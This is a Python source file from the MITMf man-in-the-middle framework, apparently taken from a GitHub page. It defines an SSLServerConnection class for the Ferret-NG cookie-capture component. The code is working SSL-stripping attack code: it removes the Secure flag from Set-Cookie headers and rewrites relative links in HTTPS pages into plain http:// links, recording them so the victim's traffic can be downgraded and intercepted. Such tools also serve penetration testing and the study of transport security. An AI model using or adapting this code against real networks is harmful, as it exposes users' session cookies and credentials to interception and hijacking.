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https://github.com/byt3bl33d3r/MITMf.git
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98 lines
4.0 KiB
Python
98 lines
4.0 KiB
Python
# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
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#
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# This program is free software; you can redistribute it and/or
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# modify it under the terms of the GNU General Public License as
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# published by the Free Software Foundation; either version 3 of the
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# License, or (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful, but
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# WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
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# General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program; if not, write to the Free Software
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# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
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# USA
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#
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import logging, re, string
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from core.logger import logger
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from ServerConnection import ServerConnection
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from URLMonitor import URLMonitor
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formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
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log = logger().setup_logger("Ferret_SSLServerConnection", formatter)
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class SSLServerConnection(ServerConnection):
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'''
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For SSL connections to a server, we need to do some additional stripping. First we need
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to make note of any relative links, as the server will be expecting those to be requested
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via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies.
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'''
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cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE)
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cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE)
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iconExpression = re.compile(r"<link rel=\"shortcut icon\" .*href=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE)
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linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE)
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headExpression = re.compile(r"<head>", re.IGNORECASE)
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def __init__(self, command, uri, postData, headers, client):
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ServerConnection.__init__(self, command, uri, postData, headers, client)
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self.urlMonitor = URLMonitor.getInstance()
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def getLogLevel(self):
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return logging.INFO
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def getPostPrefix(self):
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return "SECURE POST"
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def handleHeader(self, key, value):
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if (key.lower() == 'set-cookie'):
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value = SSLServerConnection.cookieExpression.sub("\g<1>", value)
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ServerConnection.handleHeader(self, key, value)
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def stripFileFromPath(self, path):
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(strippedPath, lastSlash, file) = path.rpartition('/')
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return strippedPath
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def buildAbsoluteLink(self, link):
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absoluteLink = ""
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if ((not link.startswith('http')) and (not link.startswith('/'))):
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absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link
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log.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link)
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log.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink)
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elif not link.startswith('http'):
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absoluteLink = "http://"+self.headers['host']+link
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log.debug("[SSLServerConnection] Found relative link in secure transmission: " + link)
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log.debug("[SSLServerConnection] New Absolute link: " + absoluteLink)
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if not absoluteLink == "":
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absoluteLink = absoluteLink.replace('&', '&')
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self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink);
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def replaceCssLinks(self, data):
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iterator = re.finditer(SSLServerConnection.cssExpression, data)
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for match in iterator:
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self.buildAbsoluteLink(match.group(1))
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return data
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def replaceSecureLinks(self, data):
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data = ServerConnection.replaceSecureLinks(self, data)
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data = self.replaceCssLinks(data)
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iterator = re.finditer(SSLServerConnection.linkExpression, data)
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for match in iterator:
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self.buildAbsoluteLink(match.group(10))
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return data
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